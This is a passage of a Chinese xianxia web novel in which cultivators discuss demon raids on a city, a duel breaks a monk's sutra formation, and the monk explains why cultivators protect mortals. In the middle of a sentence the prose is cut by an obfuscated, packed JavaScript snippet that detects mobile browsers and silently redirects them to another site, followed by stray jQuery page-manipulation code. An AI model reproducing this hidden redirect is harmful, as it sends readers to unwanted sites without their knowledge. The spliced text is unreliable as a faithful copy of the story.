郁央默然。
一时无声,时越瑶不经意抬头,瞧见池桥玉三人,想起另一位缺席的弟子,问:“延陵盛会,怎么南楼没来?”
几人面面相觑,穿着扶择宗长袍的一位弟子猛地挪过来,他面色红润,讲起话来中气十足:“南楼在虞交城呢。黄云带了一万魔兵,这会把虞交城搅得人心惶惶,西青之境人手不够,我们扶择宗也去了很多人。”
师姐提到过这个名字,郁央一下就想起来:“那个新魔魇。”
“对!她带着魔兵日伏夜出,杀死不少凡人,被魔气污染的凡人更是数不胜数。”
“虞交城离得远,这边的人过去也得一天时间。前几天我们收到南楼的请求,去了几十名弟子。我都奇怪延陵盛会竟然还能如期举行呢!等盛会结束,我们和西青之境的人会一起去虞交城清扫魔兵。”
一说到魔族最近干的事,林须就停不住。他一气呵成全都吐露,察觉嘴干还顺手拿出一壶酒咕咚关进去。
桂花酒香味扑鼻,作为出家人的身缘扯起嘴角维持假笑。
郁央看在眼里,脑海还盘旋刚刚这位弟子的话。
她飞快抓住了心底那丝不忍,怔愣着怀疑自己。明明自己不久前也是魔族一员,现在听到他们肆意杀戮的消息竟开始真情实感地厌恶这种行径。
说实话,她过去是个纯正的魔,正如她向池桥玉所言,她对人族的蔑视是短期无法抹去的。
套用剑修的壳子也不过是为了借到游韶镜后去找魔界寻仇,又何必管这些凡人的生死。
她愣愣地蹙眉,心想那扶择宗弟子的酒闻着不错。
身缘屏息也无法阻挠酒味入鼻,出门在外也不好干涉旁人的喜好。他叹气:“虞交城有此大难,我们禅林寺也不能袖手旁观。我这就修书给师父,延陵盛会后与你们一同前往。”
林须猛咽下一口酒,辛辣刺得他双眼通红,还不忘开怀道:“大师菩萨心肠,对付魔族还得靠贵寺的游韶镜。除了叫他们灰飞烟灭,再找不到任何办法阻止他们作恶。”
他的口气全打在身缘袈裟上,身缘无奈,只好向旁边移开点。
台上常痕尽已比试结束,山亦洲早看那几个人吵闹不爽,卡着时间过来喊道:“走吧。”
几人同时抬头,山亦洲的到来对身缘无异于菩萨,他仓促起身,双手合十:“好。”
身缘一走,林须也被有眼色的两位扶择宗弟子扯走。时越瑶方才松了口气,她也忍得辛苦。
想到受伤的玉箫,时越瑶厌恶道:“可惜玉箫没死,等我遇到也会杀了他。”
旁边那个禅林寺的女弟子见林须走了又凑上来:“越姑娘似乎格外厌恶玉箫?”
郁央回神,也扭头看她。
时越瑶声音簌簌:“他一个魔,凭什么用箫做法器?”
郁央拿手挥了挥周身散去酒味,道:“他做人时曾是音修,后来宗门覆灭,只他一人由鬼转魔,以魔的身体活下来。”
时越瑶不曾想这玉箫竟有如此经历,问道:“哪个宗门?”
慧空敛好袈裟,喊道:“我知道!有记载的全宗覆灭的音宗只有一个,十七年前的七弦宗。”
“十七年前……”
似乎没听过,时越瑶默了默:“为什么七弦宗会被灭?”
“书里说,被魔害了。”
时越瑶更生厌恶:“不入鬼道反去魔界,那这玉箫也是个背信弃义的小人。”
郁央垂眸:“玉箫受了重伤,魔族定会派新的魔魇去那边。”
常痕尽比试完休息了一阵,听她们讲了半天,此刻终于找到机会过来插话:“魔魇裙归去了。新转的魔还达不到魔兵的实力,全被派去修仙者少的地方感染凡人。”
顿了顿,常痕尽有些悲伤,她压下心里的苦楚才继续说:“就连仙监司附近,也去了很多。每天都有被魔气感染而死的人,这些人成为鬼后又被逼着化魔。”
她的声音沙哑沉重,旁边的弟子也听到了这些,难免荡出凄凉。
“是无业阵法!”
后面的人群爆发出响动,郁央几人抬头。
身缘的无业阵法已到四阶,他立于一侧,口中振振有词,一圈一圈的佛经自阵法中滑出,像绸缎般去缠山亦洲。
山亦洲感受到下面众人的眼光,微侧过头刚好看清郁央眼里的漠然。他火气更旺,浑身滚烫,紧握青枫。
无业阵法唯有阵眼可破,否则不断出现的佛经会将他缠裹至死。
青枫的剑气形成罡罩护住他,山亦洲睁大眼睛看清了佛经上的字,只有一句话:“舍利子,是诸法空相,不生不灭,不垢不净,不增不减。”
是《般若波罗蜜多心经》里的,山亦洲震惊于自己能认出它的来历,不过眼下不是沉思的时候。他在心里将这句话读了几遍,又仔细看了看阵法。这个阵法将身缘护在里面,他脚下不断冒出佛经。
身缘的眼睛深邃,念佛经的时候尤其肃穆。
青枫撑不住了,山亦洲握住青枫,直奔身缘而去,斩断一层层佛经,轻而易举冲到身缘眼前。身缘抬眼,剑锋已到眼前,他转身想躲,青枫剑化为水流,山亦洲踏水而行。
剑雨清斜意似风,白刃流转细堵空。
《西楼望月》三阶,山亦洲喝道:“锋芒毕露!”
阵法被剑气所冲,佛经全都碎裂,身缘合手:“在下认输。”
山亦洲堪堪停下攻势,青枫收入镯内。
身缘称赞道:“山公子剑气之盛,不输剑仙。”
山亦洲眉眼翘起,他不经意瞥了一眼台下的郁央,那人正在和其他人讲话。
山亦洲眉间阴沉,率先下台,将身缘甩在后面。
眼瞧着身缘又坐到郁央身边,山亦洲内心愤愤,一个和尚天天坐在女人堆里算什么?他也要坐过去。
他径直过去,硬是挤开了一个位置坐下,几人齐齐看他。
路凌扶额,他的好师弟真是太直接了。
山亦洲没有任何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206405|197360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打扰他们的自觉,这位置他们能坐,自己也能坐,他倒是要听听这和尚说什么,他问:“你们刚才在讲什么?”
那边比试继续进行,扶择宗弟子一番努力后丹药卖的差不多了也都围过来。他们也好奇这几人刚才讲的事,何况马上就去虞交城了,多了解一些也是好的。
一双双眼睛里都闪着好奇的光,慧空腼腆一笑:“说到魔界整日在修真界胡作非为。”
郁央知道自己心思不正,理解不了这些所谓正道中人,于是没开口。她不明白为什么要救凡人,凡人都死光也不关修真界的事,反正修真界中人能活。
对郁央而言,那是多了一大笔麻烦和累赘。
常痕尽叹气:“苍生苦。”
身缘点头:“所以这个时候更需要我们助他们脱离苦海,凡人命数至此,若非魔族乱来,这天下该是太平的。”
他们这些人虽然修仙一途中各有天赋差异,但好歹能吃饱饭,也算凭借一技之长而活,能抵挡恶事。而凡人寿命短暂,短短的一生若是再遇到魔界这般侵扰,恐怕难以维系香火。
郁央心中别扭,便直言不讳问出来,她也想得到一个答案:“难道悲悯之心是天生的?”
还是说修真界真有什么诅咒,心中都怀有大义?郁央不信,人为财死,鸟为食亡。他们保护凡人无非是自己家人尚在,何必说得那么高尚呢?
这个问题确实深刻,众人静默了一瞬,身缘正色道:“无关悲悯,只是三点缘由:一来,修仙者亦是人族,与凡人同根而生,凡人若都化魔,修仙者也将不存矣。缘起缘灭,业果循环。此即同生共死。”
“二者则是天道轮回,命定有数。修仙者保凡人入鬼道,凡人不断成为修仙者,其间生命延续,天行有常,诸行无常。一环扣一环,断了哪一环都难以维系天下安稳。此即阴阳相合。”
“三者,是为了找到自己的道。悲悯之心又何尝不是一种执念?执着于悲悯,亦会迷失自己。六根清净,去浊明心。我们倘若任由魔族欺压凡人,一味修炼只关注自己,难道就能寻找内心的道吗?此即普度众生。”
这个答案郁央不满意,或者说,她依旧不能理解,所谓的道,为什么要寄托在别人身上?
在她看来,道要自己修。
扶择宗弟子认同:“可惜魔族不懂这个道理,时至今日,非要弄到鱼死网破。”
身缘补充:“众生命在众生身上,而不只在你我之间。”
郁央问:“既然不在一个人身上,为何只有菩提树可修无情道拯救世人?”
身缘眸色深深:“这是天道给他的命,菩提只在禅林寺内生长,而几百年才能出一株化形为人。也是天道给我们的机会,魔族做坏事之前倘若一直没有菩提树化形,则人族亡矣,天下亡矣。”
郁央似懂非懂:“那菩提化形之后主要是做什么呢?他能以一己之力挡住魔族吗?”
身缘垂眸:“菩提树承天地灵力,只有他自己知道自己要做什么。”